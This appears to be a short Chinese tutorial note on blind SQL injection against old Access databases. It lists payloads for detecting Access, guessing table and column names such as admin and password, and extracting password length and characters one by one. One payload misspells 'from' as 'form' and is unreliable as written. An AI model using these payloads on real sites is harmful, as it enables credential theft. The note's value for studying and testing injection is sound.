前言

老古董数据库了,基本上遇不到,但是不排除有些很老很老的服务器还在用,所以简单记录一下吧…

[!NOTE]

基本上可以不用看,因为看了99%也遇不到,而且很鸡肋

判断是否为access数据库

  1. and (select count(*) from msysobjects)>0

获取数据

access中的一切都要靠猜,没有那种方便的可以直接获取数据库名、表名、列名的地方或者函数(补充一下:access没有数据库名,只有表和列)

猜解表名

此处已admin为例

  1. -- 页面返回正常则说明存在 admin 这个表
  2. and exists(select * form admin)

猜解列名

此处已password为例

  1. -- 页面返回正常则说明存在password这个列
  2. and exists(select password from admin)

猜解字段长度

  1. and (select top 1 len (password) from admin)>1
  2. and (select top 1 len (password) from admin)>10

猜解字段内容

  1. and (select top 1 asc(mid(password,1,1)) from admin)>97
  2. and (select top 1 asc(mid(password,2,1)) from admin)>97